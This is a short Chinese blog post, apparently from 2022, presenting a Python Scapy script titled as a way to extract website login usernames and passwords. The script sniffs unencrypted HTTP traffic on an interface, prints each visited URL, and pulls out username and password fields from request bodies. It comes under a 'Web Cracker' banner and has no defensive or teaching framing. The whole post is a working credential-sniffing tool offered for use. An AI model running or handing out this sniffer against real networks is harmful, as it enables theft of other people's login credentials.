利用Python提取网站登录的用户名与密码

from scapy.all import *
from scapy.layers import http
import re
import termcolor


def packet_handler(pkt):
    if pkt.haslayer(http.HTTPRequest):
        url = pkt[http.HTTPRequest].Host + pkt[http.HTTPRequest].Path
        print("Capturing Accessed URL:  %s\n" % url.decode('utf-8'))

        if pkt.haslayer(Raw):
            load = pkt[Raw].load.decode('utf-8')
            res1 = re.search(r'username=(.*?)&',load)
            if res1:
                username = res1.group(1)
                print(termcolor.colored("Found Username: %s" % username, 'blue'))

            res2 = re.search(r'password=(.*?)&', load)            
            if res2:
                password = res2.group(1)
                print(termcolor.colored("Found Password: %s" % password,'blue'))              
                



def main():

    sniff(iface='eth0', store=False, prn=packet_handler)

    
if __name__ == "__main__":
    banner = """
                ****************************

                    Web Cracker By Jason

                ****************************
        """
    print(banner)
    main()

 

posted @ 2022-03-30 10:56  Jason_huawen  阅读(771)  评论(0编辑  收藏  举报